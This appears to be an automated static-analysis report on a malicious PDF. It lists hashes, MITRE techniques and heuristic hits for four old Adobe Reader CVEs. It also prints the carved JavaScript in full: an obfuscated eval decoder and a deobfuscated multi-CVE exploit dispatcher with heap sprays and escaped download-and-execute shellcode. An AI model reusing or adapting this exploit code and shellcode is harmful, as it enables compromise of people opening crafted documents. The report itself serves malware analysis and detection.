Malicious PDF — malware analysis report

Static analysis result for SHA-256 7911548ce5e78f3d…

MALICIOUS

PDF

44.7 KB
MD5: ebaf0ef62df692d01518386b4fb02fb6 SHA-1: ef5a6025a316d00d82936460deb62e1c1d3f5a3d SHA-256: 7911548ce5e78f3dfe0bfd7a30b4406ac3a78987719f98de06ff82e9f2b11374
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader. The heuristics indicate that this JavaScript acts as a dispatcher for exploits targeting CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript appears to be constructing shellcode, likely to download and execute a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
a491460bab133b3bb0a0fd193ee7ad44e9c7e93bc3f598dfdcd715281affa7de		 pdf-javascript-stream PDF /JS object 1 at offset 0xB024 446 bytes
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
xwx='';
kmif=('qwrwqr','tit');
e('bpvs=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ckphj=e('String.fro'+bpvs.substr(0,9));
nosbq = e(bpvs.substr(9)['replace'](/u/g,','));
e('k=nosbq.length');
for (i = 0; i < k; i+=2) {
	zut = nosbq[i+1] + ('erybjkerl',nosbq[i]);
	xwx += ckphj(zut);
}
e(xwx);
legacy_pdfkit_stage_000.js
9b3ec7a492633cbea5b6762c22978da428d465b5eccf5af46bb013d0c64f0047		 deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3666 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u41b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9934%ue2aa%uc3fa%ue5e8%uffff%u70ff%u9895%u9999%u18c7%uc575%u9998%u1099%u147e%u89d6%uf614%ua8cd%uce42%ucac8%ucaca%ucaca%ucaca%ucacc%uf1ca%u989d%u9999%ucfcc%uf1ca%uf7f6%u9999%uecf1%uf5eb%ucdf4%u17f1%u97d7%u7175%u99d1%u9999%u71c9%u99e5%u9999%u4966%u5d1a%uf191%u76d6%u9cd6%u71c9%u99f5%u9999%u4966%u591c%u8eec%ucdf3%u6ac0%uf133%u67eb%u8f2a%u8471%u9999%uc999%uc871%u9999%u6699%uca49%u67f3%u10f1%u98f6%u7124%u9991%u9999%u71c9%u99a5%u9999%u4966%ua8f9%ufd59%uc912%u12a9%u95cb%ucb12%u128d%ub1eb%u8120%u9999%ua899%ua866%u3559%uf8a5%u9be5%ub9b5%u5658%u9894%u7b5e%u1869%uc266%ud325%u12f3%u89db%u8b12%u40ec%udd10%u85bd%u5af8%u12f9%ubdf5%u12bd%ua5dc%ucd12%ue19c%u7398%ud312%u1281%ub9c3%u7298%uad7a%u12d0%u12ad%u7798%u66a8%u59a8%u3565%u591d%u9eed%u5658%u9894%u725e%ua26d%ubde5%uecb1%u1278%ubdc3%u7298%u12ff%ud295%uc312%u9885%u1272%u129d%u7198%udd10%u85bd%u5bf8%u9991%u7671%u6667%uf166%ueded%ua3e9%ub6b6%ufceb%uf5f8%ueafc%uf8ed%ufced%uf1e9%uf7f6%ub7fc%uf7f0%uf6ff%ufdb6%ue9b7%ue9f1%uffa6%uaaa4%ubfab%ua4fc%u99ac';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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